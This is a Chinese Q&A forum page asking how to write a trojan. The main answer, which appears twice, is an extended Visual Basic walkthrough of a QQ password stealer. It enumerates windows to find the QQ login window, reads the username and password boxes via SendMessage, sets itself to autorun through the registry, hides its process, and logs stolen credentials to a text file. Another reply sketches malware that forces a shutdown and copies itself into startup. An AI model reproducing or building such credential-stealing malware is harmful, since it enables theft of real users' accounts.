推扬网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
推扬网 门户 你问我答 查看内容

房家栋:怎么编写木马程序

2020-8-10 20:23| 发布者: admin| 查看: 46| 评论: 0

摘要: 尼伯龙根的回答: 盗号木马~~~~ 楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。 可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。 使用 Timer 控件 ...

尼伯龙根的回答:

盗号木马~~~~

楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。

 

可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。

  使用 Timer 控件,监视QQ。

  用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。

  由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:

  首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。

  程序编制

  (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

   Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&


建立判断程序是否多启动的过程


      Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDescriptor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub


(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项

  Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值

  Const HKEY_LOCAL_MACHINE = &H80000002

  Const REG_SZ = 1

  建立使程序自启动的过程


      sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub


  (3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

  Const RSP_SIMPLE_SERVICE = 1 '隐藏

  建立实现程序自身在关闭程序对话框中的隐藏的过程


      Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub


  (4)即时监视是否运行了 OICQ

  加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。


      Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub


  声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中


      Option Explicit
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得 类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End Function


  (5)取得 OICQ 窗口中的用户名、密码框的类名

  自定义取得子窗口类名的函数,写在 Module1.bas 文件中

  我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。


      Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function


  (6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

  自定义取得子窗口的值的函数,写在 Module1.bas 文件中


      Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End Function


  (7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。

  自定义保存信息的过程,写在 Module1.bas 文件中


      Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub


  使用此软件后,在每次系统启动时该软件都会运行,监视QQ,当你打开QQ ,并输入密码,则该软件在软件所在目录记录里记下你的QQ帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码。

尼伯龙根的回答:

盗号木马~~~~

楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。

 

可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。

  使用 Timer 控件,监视QQ。

  用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 ComboBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。

  由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下:

  首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。

  程序编制

  (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

   Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&


建立判断程序是否多启动的过程


      Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDescriptor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub


(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项

  Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值

  Const HKEY_LOCAL_MACHINE = &H80000002

  Const REG_SZ = 1

  建立使程序自启动的过程


      sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub


  (3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。

  声明变量、过程及 API 函数,写在 Module1.bas 文件中

  Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

  Const RSP_SIMPLE_SERVICE = 1 '隐藏

  建立实现程序自身在关闭程序对话框中的隐藏的过程


      Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub


  (4)即时监视是否运行了 OICQ

  加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。


      Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub


  声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中


      Option Explicit
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得 类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End Function


  (5)取得 OICQ 窗口中的用户名、密码框的类名

  自定义取得子窗口类名的函数,写在 Module1.bas 文件中

  我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。


      Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function


  (6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值

  自定义取得子窗口的值的函数,写在 Module1.bas 文件中


      Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End Function


  (7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。

  自定义保存信息的过程,写在 Module1.bas 文件中


      Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub


  使用此软件后,在每次系统启动时该软件都会运行,监视QQ,当你打开QQ ,并输入密码,则该软件在软件所在目录记录里记下你的QQ帐号和密码,并保存在 0.txt 文件里,你只要双击 0.txt 文件就能看到帐号、密码。

冰封·万年的回答:

告诉你原理吧。。软件启动就执行关机命令,然后复制本身到启动项

杨佩的回答:

C语言 VB语言

老和尚and小?的回答:

在编辑器里!要会C语言


鲜花

握手

雷人

路过

鸡蛋

最新评论

热门推荐
最新资讯

广告服务|投稿要求|禁言标准|版权说明|免责声明|手机版|小黑屋|推扬网 ( 粤ICP备18134897号 )|网站地图 | 邮箱:vayae@hotmail.com

GMT+8, 2025-5-1 08:58 , Processed in 0.062210 second(s), 28 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

返回顶部